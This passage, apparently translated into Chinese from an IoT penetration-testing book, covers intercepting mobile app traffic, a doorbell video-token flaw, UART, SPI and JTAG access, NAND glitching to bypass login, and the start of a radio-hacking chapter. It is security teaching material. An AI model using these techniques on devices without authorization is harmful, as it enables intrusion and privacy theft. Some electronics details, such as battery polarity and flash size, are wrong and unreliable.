  1. 与配置 Web 应用程序测试环境类似,需要在您的越狱设备上安装 ZAP 和 Burp Suite 的 CA 证书以代理HTTPS请求。这可以通过调整移动设备的 Wi-Fi 代理设置来实现,以指向您的 Burp Suite 侦听器的 IP 和端口,如以下截图所示:

以下截图显示了如何配置 iOS 设备的代理设置,以指向您的 Burp 代理侦听器。在这种情况下,我的 Burp 代理正在监听 IP 地址192.168.2.183和端口8080

  1. 接下来,通过导航到 Burp 的 IP 和端口,并使用/cert作为 URL 路径,将 Burp 的 CA 证书添加到设备。在这种情况下,Burp 的地址是http://192.168.2.183:8080/cert,如下图所示:

  1. 执行后,iOS 将询问您是否要安装 Burp 的 CA 证书配置文件,如下图所示。选择安装,HTTPS流量现在可以由 Burp Suite 分析。

以下截图显示了从我们的移动设备通过 Burp 套件代理的HTTPS请求。

通过 Burp 套件代理的 HTTPS 请求

  1. 类似的步骤也可以用于 Android 设备。我们将演示如何设置 ZAP 的 CA 证书。首先,通过导航到工具|选项|动态 SSL 证书来导出 ZAP 的证书。将证书保存在方便的位置,以便传输到 Android 设备:

  1. ZAPCert需要下载到 Android 设备上。有几种方法可以帮助满足此要求。一个快速方便的文件传输技巧是使用 Python 的SimpleHTTPServer。如果您使用的是基于 Nix 的操作系统,请从证书所在的目录运行以下命令:
$ python -m SimpleHTTPServer 1111
  1. Python web 服务器现在将在端口1111上运行。在您的 Android 设备上,打开浏览器并导航到您的监听 Web 服务器。在这种情况下,地址是http://192.168.2.186:1111,如下图所示:

  1. 将证书下载到 Android 设备。在 Android 设备上,导航到设置|安全|从存储安装,然后下载文件夹应该出现,如下图所示:

  1. 选择 ZAP 的证书,并按照以下截图中所示命名证书:

  1. 转到您的无线设置,并修改代理设置以匹配您的 ZAP 代理侦听器:

  1. 导航到目标 IoT 移动应用程序,并观察HTTPS请求和响应填充 ZAP 的历史选项卡:

  1. Android 和 iDevice 都已设置为代理应用程序的请求和响应。通过这种访问,可以对参数进行模糊处理以进行注入漏洞测试(如果已经获得授权),并且可以测试应用程序的业务逻辑漏洞。例如,在查看来自我们目标门铃的视频时代理请求和响应,我们注意到access_token作为GET请求中的 URL 参数发送到视频的 MP4 文件(CVE-2017-6085)。将此GET请求复制到剪贴板并粘贴到浏览器中,即可访问下载 MP4 视频,无需用户名或密码,如下图所示:

无需用户名或密码即可下载 MP4 视频

  1. 然后将请求复制到我们的剪贴板:

  1. 将 URL 粘贴到浏览器中,并观察视频门铃事件的自动下载到您的本地计算机:

一旦在浏览器中请求复制的 URL,浏览器应自动询问在本地计算机上保存下载视频的位置:

现在视频已经以.mp4的格式下载,并且可以像以下截图中所示查看:

  1. 请记住,我们没有输入任何用户名或密码来下载和观看这个视频。这表明门铃制造商对用户的访问控制存在问题,并且可能还表明产品中存在其他漏洞。对于视频门铃来说,在没有凭据的情况下访问视频源存在安全和隐私风险。仅在这一发现中就可以识别出几个漏洞,包括将会话令牌作为GET请求发送、令牌过期不足以及访问控制不足。攻击者可以通过社会工程或 MITM 技术获取必要的access_token。可以通过外部用户帐户执行额外的访问控制测试用例以跟进此发现。

另请参阅

第六章:物联网设备黑客

在本章中,我们将涵盖以下主题:

  • 硬件利用与软件利用

  • 硬件黑客方法论

  • 硬件侦察技术

  • 电子学 101

  • 识别总线和接口

  • 嵌入式设备的串行接口

  • NAND 故障

  • JTAG 调试和利用

介绍

任何物联网IoT)解决方案的关键中心组件是嵌入式设备。它是与物理环境互动并与网络端点和周围其他设备通信的设备。了解如何利用这些硬件设备对于进行物联网渗透测试非常关键。

在物联网解决方案中使用的设备类型可能因产品而异。在某些情况下,它可能是一个网关,允许各种设备与其互动,同时与网络端点通信,或者它可能是一个医疗设备实用程序,其唯一目的是从患者的身体收集数据并在智能手机上显示。

然而,存在某些特定的安全问题,可能会影响任何给定的硬件设备,无论其类别如何。这就是我们将在本章中关注的内容-深入了解各种物联网设备安全问题,如何识别它们以及如何利用它们,无论设备类型如何。但是,在我们进行实际的硬件利用之前,让我们看看硬件利用与传统软件利用有何不同。

硬件利用与软件利用

硬件利用与软件利用之间的差异非常显著,最重要的是,要找到硬件的漏洞和利用,你需要拥有物理设备。这意味着除非你拥有两个或更多的设备,否则要有效地对物联网设备的硬件进行渗透测试是相当复杂的。

增加与硬件安全工作复杂性的另一个因素是围绕硬件安全公开可用的资源量。例如,在你正在评估的软件的情况下,你可能会发现软件正在使用的某个组件中存在现有的漏洞或者是你正在使用的软件类型中发现的常见漏洞的机会。这并不意味着硬件利用更加困难,只是意味着如果你刚开始,由于缺乏给定组件的深入的与安全相关的信息,你可能会发现硬件利用相对于以前的软件利用经验更加复杂。

在基于硬件的漏洞方面,还有一件事需要注意的是,它们相对更难修补,在某些情况下,甚至无法在不完全更换设备的情况下修补。这意味着如果硬件设备本身存在关键的安全问题,制造商唯一的选择就是召回设备并用更安全的设备替换它们。

最后,对于我们作为渗透测试人员来说,最显著的区别之一是,对于硬件利用,我们需要一些硬件工具和设备来有效地评估和利用最终设备的安全性。

然而,不要感到沮丧,因为我们将涵盖许多硬件利用的工具和技术,这将让你迅速进入硬件黑客的世界。

硬件黑客方法论

硬件黑客方法论涉及的步骤如下:

  • 信息收集和侦察

  • 对设备进行外部和内部分析

  • 识别通信接口

  • 使用硬件通信技术获取数据

  • 使用硬件利用方法的软件利用

  • 后门设置(可选)

让我们逐个深入了解每一个步骤。

信息收集和侦察

嵌入式设备黑客方法论的第一步是尽可能收集关于我们正在处理的目标的信息。现在这可能听起来很简单,但在嵌入式设备的情况下,这可能比我们想象的要复杂一些。关于目标设备的信息通常是有限的-至少从一个非常高层次的视角来看-考虑到为了获得有关设备的相关信息,我们将需要访问物理设备本身。

但即使在这之前,渗透测试人员可以通过多种方式收集有关给定目标设备的更多信息。这些包括公开可用的来源或客户提供的文档,或通过其他资源。

在这个阶段可能相关的一些信息包括:

  • 嵌入式设备基于什么?

  • 它运行的操作系统

  • 设备支持哪些外部外围设备?

  • 设备使用了什么样的芯片组件?

  • 关于设备使用的存储和内存的详细信息

  • 关于设备的任何其他相关技术信息

一旦我们获得了这些信息,我们就可以进入下一步,即使用外部和内部分析来分析设备。

设备的外部和内部分析

一旦你从上一步获得了信息,下一步就是开始与设备本身进行交互。在这里,目标是从攻击者的角度查看设备,并通过视觉检查-包括外部和内部-尽可能多地识别信息。

外部分析非常直接,可以通过查看设备并找出所有你能看到的各种组件来进行。在这里,你可能会问自己以下问题:

  • 设备的各种接口选项是什么-它是否有任何 USB 端口、SD 卡插槽或以太网端口?

  • 设备是如何供电的-通过电池、PPoE 还是适配器?

  • 设备上有标签吗?如果有,它们包含什么样的信息?

一旦我们完成了外部分析,下一步就是进行设备的内部分析。这需要你打开设备,查看印刷电路板PCB)。在这一步中,我们将识别设备中的各种芯片组件,查阅它们的数据表,并了解每个特定组件的功能,以及记录从数据表中找到的各种信息。

在这个阶段,我也喜欢绘制各种组件之间的基本连接的框图,以便更清楚地了解整个设备的内部情况。

识别通信接口

一旦我们查看了 PCB 并找到了关于整个电路和其中涉及的各种组件的足够信息,下一步就是寻找与设备进行接口的所有可能选项。

在某些情况下,它可能非常明显并且直接摆在你面前,而在其他情况下,可能更难以识别,可能分散在整个电路板上,或者在某些情况下,你将不得不直接连接到给定芯片组件的引脚上。

使用硬件通信技术获取数据

一旦我们确定了正在使用的通信协议/接口,我们可以使用一组特定的工具来通过给定的协议与目标设备通信,并与目标交互或读/写信息到给定的芯片。

根据受审查的接口,我们将使用不同的技术来连接并获取有用的渗透测试数据。一些常见的接口包括 UART、JTAG、SPI、I2C 和 1-Wire。

使用硬件开发方法进行软件开发利用

一旦我们通过给定的硬件接口访问了目标设备,下一步将是通过硬件利用执行各种软件利用技术。这包括执行诸如转储固件、在给定的内存区域写入新内容、对运行进程进行修改等操作。

正如你现在可能已经了解的那样,大多数利用硬件技术的攻击将使你获得对敏感资源的访问,然后可以以多种方式进行利用。

现在我们对整体硬件渗透测试方法论有了了解,让我们深入了解如何对硬件设备进行侦察。

硬件侦察技术

除了视觉外部分析之外,侦察包括两个步骤-打开设备并查看各种芯片的存在,并从其数据表中获取信息。

让我们逐一深入了解。

打开设备

硬件侦察过程的第一步是打开设备。这个过程的复杂性取决于你所使用的设备,可以从非常简单到非常复杂不等。

在一些设备中,你会发现螺丝隐藏在腿部的橡胶垫下,而在其他情况下,它们会大部分暴露出来,而在其他情况下,两个不同的部分可能会被焊在一起。

根据设备的组装方式,使用适当的工具拆卸不同的部分。建议在整个硬件利用过程中携带一套好的螺丝刀,因为不同的设备会使用许多不同种类的螺丝。

查看各种芯片的存在

一旦你打开了设备,下一步是查看 PCB 并识别所有各种芯片的存在。使用 USB 显微镜或智能手机的手电筒来读取芯片的标签,同时倾斜芯片。建议使用支架,可以在读取各种芯片的名称时稳定地固定设备。

一旦你弄清楚了芯片的名称,就去谷歌搜索它的制造商,然后加上型号和“数据表”这个词。这也是我们将在本章后面做的事情。

一旦你有了数据表,你可以利用其中的信息来找出目标芯片的各种属性,包括引脚布局,在硬件利用过程中这将非常有用。

现在我们知道如何对目标设备进行侦察,我们可以继续深入硬件利用。为了确保我们非常了解我们的目标,并确保我们的攻击成功,我们需要更好地了解电子学,这将使我们在进行利用时更容易理解。

电子学 101

正如前面提到的,电子学是要理解的最重要的事情之一,如果你想进行硬件黑客攻击。你可能能够在不了解电子学的情况下捕捉一些低悬漏洞;然而,要擅长这个领域,你需要了解设备上发生了什么,以及如何利用给定的组件。在本节中,我们将介绍一些电子学的基本概念,这将帮助你在开始研究嵌入式设备内部时获得更多的信心和理解。

这对你来说可能看起来非常基础;然而,把这一节当作你将在后面的章节和实际生活中所看到的东西的一个复习,当你开始使用嵌入式设备时。

电阻

电阻器是电子元件,它们阻碍电流流动,或者更深层次地说,阻碍电子的流动。电阻器,用R表示,是被动元件,这意味着它们根本不产生任何电力,而是通过散热的方式降低电压和电流。

电阻的单位是欧姆(Ω),电阻通常使用碳或金属线制造。你还会发现电阻器被编码颜色,以帮助传达它们提供的电阻值。

这就是电阻器的样子:

现在你知道了电阻器是什么,值得注意的是,电阻器可能有两种不同的类别-固定和可变。顾名思义,固定电阻器的电阻是固定的,不能改变,而在可变电阻器中,电阻可以使用某些技术进行变化。可变电阻器最流行的例子之一是电位器

电压

在电子学中,电压简单地是两个不同测量点之间的电势能差。在大多数情况下,用来测量给定点电压的参考点是GND),或者电池或电源的负极。举个现实生活中的例子,如果你使用了一个 9V 电池,这意味着两点之间的电势差为 9 伏特。

为了更深入地了解,让我们假设在导体的两端,比如铜线,你有大量的电子(负电荷),在另一端你有质子(正电荷)。这意味着这两点之间的电势存在差异,最终导致电流的流动。

为了测量电压,我们使用一种叫做电压表的设备,它告诉我们它连接的两点之间的电势差。例如,9V 电池的正极电压为+9V,负极电压为-9V。

电流

正如我们在前面的情景中讨论的,电流流动(在前述情况下是因为介质是铜导体)当两端的电压存在差异时,它将继续流动,直到两侧的电子和质子数量相等。

电流可以是交流AC)或直流DC),这意味着如果电流以恒定速率流动,比如在电池中,它将是直流,而如果它是交变的或随时间变化的,它就是交流。例如,在美国,从电源插座获得的默认电力是 120V 和 60Hz 的交流电。

电流以安培A)为单位进行测量,并在方程和公式中用字母I表示。用于测量电流的设备称为安培表

你可能会认为这三个组件-电流、电压和电阻似乎是相互依赖的。总结一下,电压引起电流流动,电阻阻碍电流流动。

这种关系就是著名的欧姆定律,它规定电流(I)=电压(V)/电阻(R)

这也证实了电流与电压成正比,与电阻成反比的事实。

电容器

电容器是几乎所有嵌入式设备中最常见的组件之一。顾名思义,它们的主要任务之一是以电荷的形式储存能量。

电容器内部有两个带有相反电荷的板,当连接到电源时,它们储存电荷。电容器的其他用途包括作为滤波器,减少影响设备上其他芯片的电噪声,分离交流和直流组件(交流耦合)等。

电容的单位是法拉,用F表示,可以使用以下公式计算:

C=Q/V

这里,C是电容,Q是电荷,V是电压。

所有前述值都以法拉第(F)、库仑(C)和伏特(V)为标准单位进行测量。

晶体管

晶体管是电子元件,通过充当开关和放大器来发挥多种作用。

作为放大器,它可以接收小电流并放大它以产生更大的输出电流。其中一个例子是麦克风连接到扬声器,麦克风接收到小声音输入并放大后通过扬声器输出更大的声音。

同样地,作为开关,它可以接收小电流输入并用它来允许更大的电流流动,从而激活新的电流流动。

这是晶体管的外观:

以下是 NPN 晶体管(另一种类型是 PNP,箭头指向基)的示意图:

存储器类型

嵌入式设备中一些最重要的组件与数据存储有关,可以被设备用于多种目的。这是您可以找到固件和应用程序编程接口(API)密钥等内容的地方。嵌入式设备中的三种主要存储器类型及其细分如下:

  • 随机存取存储器(RAM)

  • 静态随机存取存储器(SRAM)

  • 动态随机存取存储器(DRAM)

  • 只读存储器(ROM)

  • 可编程只读存储器(PROM)

  • 可擦可编程只读存储器(EPROM)

  • 混合

  • 可擦可编程只读存储器(EEPROM)

  • 闪存

各种存储器类型的区分是基于一些因素,如存储数据的能力,存储数据的时间,数据如何被擦除和重写,以及重写数据的过程是什么样的。

例如,SRAM 只在接收到电源供应时保存数据,而 DRAM 将每个数据位存储在单独的电容器中。此外,由于 DRAM 具有刷新周期(因为电容器最终会被放电),因此 SRAM 相对于 DRAM 来说速度更快。

同样地,根据数据可以被写入的次数,ROM 被分类为 PROM 或 EPROM。对于 PROM,一旦写入数据就无法修改,而在 EPROM 中,数据可以通过紫外线(UV)射线擦除,紫外线可以通过一个小窗口到达芯片,通过重置芯片并将其带到初始状态来擦除芯片。

然而,我们将遇到的两种最重要的存储器类型是 EEPROM 和 Flash,或者基于读取、写入和擦除周期的差异而言的 NOR 和 NAND Flash-取决于是否可以一次在整个块上执行操作(Flash),以及是否需要一次在单个位上执行操作(EEPROM)。

串行和并行通信

现在我们对一些电子元件有了基本的了解,让我们进入嵌入式设备中使用的不同种类的通信介质。

嵌入式设备中的数据通信方法有串行和并行通信。顾名思义,串行通信按顺序逐位发送数据。这意味着如果要传输 8 位,它将一个接一个地发送,只有当所有 8 位都接收到时,数据传输才完成。

然而,在并行通信的情况下,多个位将同时传输,因此使数据传输过程比其串行对应物更快。

您可能会认为并行通信会更好,并且由于数据传输速率更快,它会被广泛使用。然而,这并不是事实,因为我们没有考虑并行通信在电路板上所需的实际空间。

嵌入式设备的物理空间非常有限。因此,在数据传输方面,更快并不总是更好的选择,尤其是考虑到并行数据传输需要比串行数据传输更多的数据线。

一些并行数据传输通信的示例是 PCI 和 ATA,而串行通信是使用 USB、UART 和 SPI 进行的。

在本书中,我们将重点关注串行通信介质,因为它们在您将遇到的所有硬件设备中都是最常见的。

还有更多...

此时您还可以执行的一项工作是查看任何给定嵌入式设备的电路板,并尝试识别涉及的各种组件以及它们使用的通信机制是什么样的。

识别总线和接口

现在我们对嵌入式设备中的不同组件有了很好的了解,让我们看看如何识别设备中存在的不同总线和接口。

为此,第一步是打开设备并查看 PCB。请注意,在本节中,我们只关心识别特定引脚、标头或芯片的用途,而不是实际连接到它,这是我们将在下一节中介绍的内容。

如何做...我们将首先寻找 UART,这是黑客最喜欢用来访问设备的接口之一。我们将首先查看 UART 的内部结构,然后是如何识别引脚排列,最后是如何连接到目标设备。

UART 识别

在嵌入式设备中,我们首先要寻找的是通用异步收发器UART)接口。UART 是嵌入式设备中最常见的通信协议之一。UART 基本上将其接收到的并行数据转换为串行数据流,这样更容易进行交互。

由于这里的另一个重点是减少线路的数量,因此在 UART 通信中没有时钟。相反,UART 依赖于波特率,即数据传输速率。UART 通信中的两个不同组件将同意指定的波特率,以确保数据以正确的格式接收。

此外,在 UART 通信中,还会添加另一个称为奇偶校验位的位,以便进行错误检测。因此,典型的 UART 通信顺序如下:

  • 起始位:表示这是 UART 通信的开始。

  • 数据位:这是需要传输的实际数据。

  • 奇偶校验位:这用于错误检测。

  • 停止位:用于指示 UART 数据流的结束。

如果您想自己尝试并了解 UART 数据流,可以使用逻辑分析仪并连接到 UART 端口(我们将在稍后识别),然后在逻辑分析仪软件中查看结果。可以使用的一种流行的逻辑分析仪是 Salae Logic,它有 8 通道和 16 通道两种选项。

以下屏幕截图显示了逻辑分析仪中数据的样子:

让我们继续看看实际设备中的 UART 端口是什么样子。以下是一些已在设备中识别出的 UART 端口的示例。请注意,要进行 UART 通信,两个引脚是必不可少的-发送(Tx)和接收(Rx)。此外,在大多数情况下,您还会发现另外两个引脚用于地线(GND)和 Vcc:

如您在上图中所见,有四个相邻的引脚,这在这种情况下是 UART 引脚。在关于获取和接口化串行通信的下一节中,我们将看看如何识别确切的引脚布局-哪些引脚对应于 Tx、Rx 和 GND,并且还要接口化这些引脚/端口以访问设备。

SPI 和 I2C 的识别

SPI 和 I2C 的识别类似于我们刚刚在 UART 通信识别中看到的。识别正在使用的通信协议是 SPI 还是 I2C 的一种方法是使用逻辑分析仪,并查看在通信中传输的各种位。

SPI 和 I2C 都属于串行通信,主要用于 Flash 和 EEPROM。正确识别正在使用的确切协议以及更多细节的一种方法是查看芯片名称并从数据表中获取信息。

以下是 SPI 闪存芯片的外观:

图片来源:cdn-shop.adafruit.com/1200x900/1564-00.jpg

上图中的闪存芯片标签为 Winbond W25Q80BV,这意味着现在我们可以查阅其数据表并识别其各种属性-即使不知道它是 SPI 闪存芯片。

如果我们搜索芯片编号,我们将得到以下结果:

让我们继续打开搜索结果中找到的任何数据表 PDF。在数据表的开头,我们将找到以下内容:

这意味着我们的芯片是一颗带有 8MB 存储空间的 SPI 闪存芯片。随着我们在数据表中的进一步了解,我们还发现了其引脚布局,如下截图所示,告诉我们给定 SPI 闪存芯片的确切引脚布局:

因此,我们已经能够正确识别芯片的用途、其属性以及其引脚布局。

有了这些信息,我们可以使用 Attify Badge 连接到 SPI 闪存芯片,这是一种用于处理各种硬件协议和标准(如 UART、JTAG、SPI 和 I2C)的工具。或者,您也可以使用 FTDI MPSSE 电缆。

数据输出DO)和数据输入DI)分别连接到 Attify Badge 的 MOSI 和 MISO,或者,如果您使用 FTDI 电缆,则芯片的 DI 连接到电缆的 DO(黄色),芯片的 DO 连接到电缆的 DI(绿色)。此外,还将电缆的 Vcc、GND、WP 和 CS 连接到芯片上的相同引脚。

下图中的表格将帮助您在此阶段进行连接:

连接完成后,我们只需从位于github.com/devttys0/libmpsse的 LibMPSSE 库中运行spiflash.py实用程序。以下截图也显示了这一点:

上述语法中的大小是从闪存芯片的数据表中获取的,并且闪存芯片的整个内容被放入名为new.bin的文件中。

因此,现在您可以查看 SPI 闪存芯片,找出其引脚布局,并从中转储数据,这可能是固件、硬编码密钥或其他敏感信息,具体取决于您正在使用的设备。

JTAG 识别

为了识别设备上有趣的暴露接口,我们将寻找的最后一件事是联合测试动作组JTAG)。

与以前的针床测试相比,JTAG 是一种更简化的测试引脚和调试引脚的方式。它使设备开发人员和测试人员能够确保设备上各个芯片中的每个引脚都能够按预期功能、互连和正常运行。

对于渗透测试人员来说,JTAG 有很多用途,从使我们能够读/写数据,甚至调试运行中的进程,到修改程序执行流程。

当我们寻找 JTAG 时,最重要的四个焊盘是测试数据输入TDI)、测试数据输出TDO)、测试时钟TCK)和测试模式选择TMS)。然而,在识别这些单独的焊盘之前,我们必须首先确定设备上 JTAG 头部的位置。

为了简化事情,JTAG 有几种标准接口选项,如 13 针、14 针、20 针等。以下是一些真实设备中 JTAG 接口的图像:

图像来源:https://www.dd-wrt.com/wiki/images/thumb/9/99/DLINK-DIR632_Board.png/500px-DLINK-DIR632_Board.png

以下是 Experia v8 Box 上的 JTAG 接口,带有焊接的 JTAG 头部:

图像来源:http://www.alfredklomp.com/technology/experia-v8/

这里还要注意的一点是,即使你可能能够在标准的头部格式中找到 JTAG,但在一些真实设备中,你会发现 JTAG 焊盘分散在整个电路板上,而不是集中在一个位置。在这种情况下,你需要在焊盘上焊接排针/跳线,并将它们连接到 JTAGulator 上,以便确定它们是否是 JTAG 焊盘,以及哪个焊盘对应于哪个 JTAG 焊盘。

还有更多...

  • 除了之前提到的接口和协议,你的目标设备可能还使用许多其他硬件通信协议。一些其他流行的通信技术包括 CAN、PCI、1-Wire 等。建议你研究更多的硬件通信协议,以更广泛地了解你可以分析协议的方式。

嵌入式设备的串行接口

由于我们已经在前一节中介绍了 UART 的基础知识,让我们直接进入如何与 UART 接口进行交互。

做好准备

一旦连接好,我们将看看如何在设备上找到 UART 焊盘后如何识别这些焊盘。

我们要找的四个焊盘如下:

  • Tx

  • Rx

  • GND

  • Vcc

为此,我们将使用万用表,它可以测量电压和电流,因此既可以作为电压表又可以作为电流表,因此得名为万用表。

以下是万用表的外观。按照以下图像所示连接探针:

如何操作...

连接好后,让我们继续找到不同的 UART 焊盘,就像下面的步骤描述的那样。

  1. 确保万用表上的指针指向扬声器符号,就像下面的图像中所示的那样:

确保你的设备已关闭。将黑色探针放在一个接地表面上——这可以是设备上的任何金属表面。

  1. 将红色探针分别放在你认为是 UART 的四个焊盘上。再用其他焊盘重复此操作,直到听到蜂鸣声。

  2. 你听到蜂鸣声的地方是设备上的 GND 焊盘。这个测试也被称为连续性测试,因为我们刚刚检查了两个 GND 焊盘之间的连续性——一个已知的和一个未知的。

既然我们已经确定了 GND 焊盘,让我们继续确定其他剩下的焊盘。

  1. 将万用表指针放到 V - 20 位置,因为现在我们要测量电压。将黑色探针放在 GND 上,将红色探针移动到 UART 的其他焊盘上(除了 GND)。

在此阶段,重新启动设备并打开它。在您看到恒定高电压的引脚处是我们的 Vcc 引脚。

  1. 接下来,再次重新启动设备,并测量除了在前面步骤中确定的 Vcc 和 GND 之外的其他引脚与 GND 之间的电压。由于在启动过程中最初进行的大量数据传输,您将在最初的 10-15 秒内注意到其中一个引脚上电压值的巨大波动。这个引脚将是我们的 Tx 引脚。

  2. Rx 可以通过在整个过程中具有最低电压波动和最低整体值的引脚来确定。

因此,我们已经确定了 UART 通信所需的所有引脚-Tx 和 Rx,以及 GND 和 Vcc。

  1. 一旦您确定了设备的引脚布局,下一步将是将设备的 UART 引脚连接到 Attify Badge。在这里,您也可以使用其他设备代替 Attify Badge,例如 USB-TTL 或 Adafruit FT232H。

在这一点上,我们将关注 Attify Badge 上的引脚 D0 和 D1,分别对应于发送和接收。

目标设备的发送Tx)将连接到 Attify Badge 的 Rx(D0),并且目标设备的 Rx 将连接到 Attify Badge 的 Tx(D1)。IP 摄像头的 GND 将连接到 Attify Badge 的 GND。

一旦我们完成了所有连接,下一步就是找出设备运行的波特率。将 Attify Badge 连接到系统并启动目标设备。

要识别波特率,我们将使用github.com/devttys0/baudrate/blob/master/baudrate.py上可用的baudrate.py实用程序。

  1. 这可以通过以下命令运行:
sudo python baudrate.py
  1. 一旦您进入波特率、屏幕,您可以使用上下箭头键切换波特率。在波特率处,如果您能够看到可读字符,那就是您目标设备的正确波特率。它应该看起来像以下屏幕截图:

  1. 接下来,按下Ctrl + C,这将使用已识别的设置将您带到 minicom 实用程序。在这里按下Enter将授予您 shell 访问权限,前提是您的目标设备具有基于 UART 的 shell:

因此,我们能够利用暴露的 UART 接口,找出引脚和接口,并最终获得 root shell。

另请参阅

  • 现在您已经可以访问目标设备的 UART 接口,还可以执行其他利用技术,例如后门和通过微不足道的文件传输协议TFTP)转储整个文件系统。但是,这将因设备而异,并取决于您在已经受到攻击的设备上拥有的当前特权。

NAND 故障

您可以在嵌入式设备上执行的另一件事情是利用基于故障的攻击来绕过安全措施(例如 UART 控制台上没有 root shell)。

准备就绪

故障,顾名思义,是一种在您正在使用的系统中引入故障的方法。这可以通过多种方式完成,有专门的书籍和研究论文专门讨论这个主题。

现在,我们将简要介绍基于故障的攻击概述。这样做的目的是能够访问引导加载程序,这将允许我们更改敏感参数,例如启动参数,我们可以定义自己的参数,告诉系统启动 UART 控制台并带有登录提示/ shell 或以单用户模式启动系统,绕过身份验证。

如何做...

  1. 我们将在这里看一下的故障称为NAND 故障,在这种故障中,我们将把设备的 NAND 闪存的一个 I/O 引脚短接到 GND 引脚。请注意,这种短接必须在引导加载程序启动并内核即将启动的那一刻执行。

因此,如果短接成功,内核将无法启动,从而导致您陷入默认的引导加载程序提示,使您能够更改引导加载程序参数。

  1. 举个例子,通过在启动参数中添加single,您将能够登录到单用户模式,从而绕过某些系统上的身份验证要求。这也在下面的屏幕截图中显示:

图像来源:http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html

  1. 类似地,在 Wink Hub 上执行相同的 NAND 故障将导致陷入引导加载程序(由Exploitee.rs团队发现),您可以更改参数,如下面的屏幕截图所示:

  1. 修改引导参数后,您将能够在下一次引导时通过 UART 访问根 shell,如下面的屏幕截图所示:

图像来源:http://www.brettlischalk.com/assets/WinkHack/WinkRootShell.png

另请参阅

NAND 故障是利用故障攻击的技术之一。然而,您也可以使用电源和电压故障技术来执行诸如绕过加密等操作。

以下是一些其他有用的资源:

JTAG 调试和利用

现在我们已经介绍了硬件设备上的各种利用技术,是时候介绍一种最重要的妥协设备的方法-JTAG 了。我们已经看到了 JTAG 是什么,JTAG 引脚通常是什么样子。

准备就绪

让我们开始识别给定目标设备上的 JTAG 引脚。为此,我们将使用 JTAGulator,这是由Joe Grande制作的硬件工具,用于识别 JTAG 引脚。

如何做到...

一旦您将所有 JTAGulator 通道连接到目标设备上预期的 JTAG 引脚,另外连接 GND 到 GND。

  1. 使用以下代码启动屏幕:
sudo screen /dev/ttyUSB0 115200 
  1. 然后,您将获得一个 JTAGulator 提示,如下面的屏幕截图所示:

  1. 我们要做的第一件事是设置目标设备的电压,在当前情况下是 3.3。要做到这一点,只需在屏幕上输入V,然后输入3.3,如下面的屏幕截图所示:

  1. 设置目标电压后,我们可以通过按下B来运行一个旁路扫描,以找出当前连接中的 JTAG 引脚。

正如您所看到的,JTAGulator 能够识别 JTAG 引脚,并告诉我们各个引脚对应的是什么。

  1. 现在我们已经确定了引脚布局,下一步是将引脚布局连接到 Attify Badge(或 FTDI C232HM MPSSE 电缆),如下所示:

  2. 目标的 TDI 连接到 Attify Badge(或 FTDI 电缆的黄色)的 D1(TDI)

  3. 目标的 TDO 连接到 Attify Badge(或 FTDI 电缆的绿色)的 D2(TDO)

  4. 目标的 TMS 连接到 Attify Badge(或 FTDI 电缆的棕色)的 D3(TMS)

  5. 目标的 TCK 连接到 Attify Badge(或 FTDI 电缆的橙色)的 D0(TCK)

  6. 一旦您完成了所需的连接,下一步就是使用 Attify Badge(或 FTDI C232HM MPSSE 电缆)的配置文件以及目标设备的芯片运行 OpenOCD。配置文件可以在安装后从OpenOCD目录中获取,并位于openocd/tcl/target

  7. OpenOCD 可以按照以下截图所示运行:

  1. 正如您所看到的,OpenOCD 已经识别出链中的两个设备,并且还在端口4444上启用了 Telnet,我们现在可以连接到该端口,如下截图所示:

在这一步,您可以执行各种 OpenOCD 命令,以及针对您的特定芯片的命令,以便妥协设备。

另请参阅

通过使用mdw命令从给定内存位置读取数据,您可以利用通过 JTAG 访问设备的能力做一些事情,如下所示:

另一个例子是通过连接到端口3333上运行的实例,使用我们在前几章学到的技能来连接到 GDB 以调试运行中的进程,并进行 ARM/MIPS 利用。

第七章:无线电黑客

在本章中,我们将涵盖以下内容:

  • 熟悉 SDR

  • SDR 工具的实践

  • 理解和利用 ZigBee

  • 深入了解 Z-Wave

  • 理解和利用 BLE

介绍

几乎所有当前物联网设备与其他设备进行交互以交换信息并采取行动。了解物联网设备使用的无线协议以及影响它们的安全问题对于有效地对物联网设备进行渗透测试至关重要。

无线通信或无线电简单地是通过空气这种通信介质使用电磁波从源到目的地传输数据的一种方式。无线电信号是在常见设备中使用的信号,如微波、光和红外线;只是在每种情况下,信号的波长和频率不同。在无线通信的情况下,需要传输的数据首先通过电势差转换为电信号,然后由载波波传输,最后在另一端解调以获取源发送的实际数据。我们不会详细讨论电磁概念以及如何从数据生成电信号,因为这超出了本章的范围。

物联网设备使用各种无线通信协议,从蜂窝到 Wi-Fi 不等,取决于产品要求和设备制造商的偏好。不可能在单一章节或书籍中涵盖所有各种无线通信协议,但是,我们将专注于整体渗透测试方法论,并涵盖两种最常见的协议——ZigBee 和蓝牙低功耗(BLE)。

不同的无线协议有各自的目的和优缺点。它们每个都在指定的频率(或频率范围)上运行,并且需要不同的渗透测试硬件和软件设置,以便能够分析该通信协议的数据包。

在进入各个协议之前,我们将深入研究软件定义无线电(SDR),这是无线电逆向和物联网设备黑客的最重要概念之一。我们还将熟悉各种基础概念,以便更好地理解无线电黑客和 SDR。

熟悉 SDR

SDR 是一种极其有用的技术,我们可以通过它改变给定无线电设备的用途。正如其名称所示,这种情况下的无线电是软件定义的,这意味着无线电的功能或操作可以根据我们的需求进行更改和修改。这与传统无线电不同,传统无线电设备根据其硬件设计只能服务于单一目的。

这为我们打开了大量机会,因为我们可以开始使用 SDR,并不断重新定位以满足我们的各种需求。重新定位在这里简单地意味着,假设我们正在分析 FM 频谱,我们可以让设备来做,如果以后我们想要分析 433 MHz 的物联网设备发送的数据,我们可以使用同一设备来捕获数据,处理数据,并提取其中发送的文本。

到目前为止,你应该对 SDR 是什么以及它可以服务于什么目的有一个相当好的理解。在进行实际的 SDR 实践和分析不同事物之前,在本节中,我们将熟悉一些基本概念和术语,这些术语可能在你深入研究无线电黑客和 SDR 时会遇到。

无线电中的关键术语

让我们快速了解一些你在 SDR 中经常遇到的术语。

一个简单的无线电系统将包括几个组件,如发送器、接收器、载波波和介质。这些组件基本上就是您所期望的。发送器是发送信号的组件,由传输介质传输到接收器。

在大多数实际情况下,需要发送的数据波会与载波波调制,然后发送到接收器,接收器会解调调制波以恢复原始数据波。

有许多调制类型,如频率调制、幅度调制和相位调制。此外,还有许多数字调制技术,如开关键控OOK)、相移键控PSK)、频移键控FSK)和幅度键控ASK)。

在使用无线电系统时,您将遇到一些常见术语,如下所示:

  • 波长:在无线电术语中,这意味着波形中两个连续波峰(高点)或两个连续波谷(低点)之间的距离。

  • 频率:顾名思义,指事件发生的频率。

